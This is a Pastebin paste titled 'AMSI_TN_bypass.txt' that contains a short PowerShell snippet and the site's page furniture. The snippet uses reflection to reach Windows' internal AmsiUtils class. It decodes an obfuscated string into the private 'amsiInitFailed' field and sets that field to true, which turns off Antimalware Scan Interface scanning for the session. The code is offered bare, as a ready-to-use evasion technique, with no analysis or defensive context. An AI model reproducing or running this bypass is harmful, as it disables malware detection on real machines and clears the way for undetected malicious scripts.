JohnGalt14

AMSI_TN_bypass.txt

Jul 1st, 2020
1,265
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. $a =[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
  2. $h="4456625220575263174452554847"
  3. $s =[string](0..13|%{[char][int](53+($h).substring(($_*2),2))})-replace " "
  4. $b =$a.GetField($s,'NonPublic,Static')
  5. $b.SetValue($null,$true)
RAW Paste Data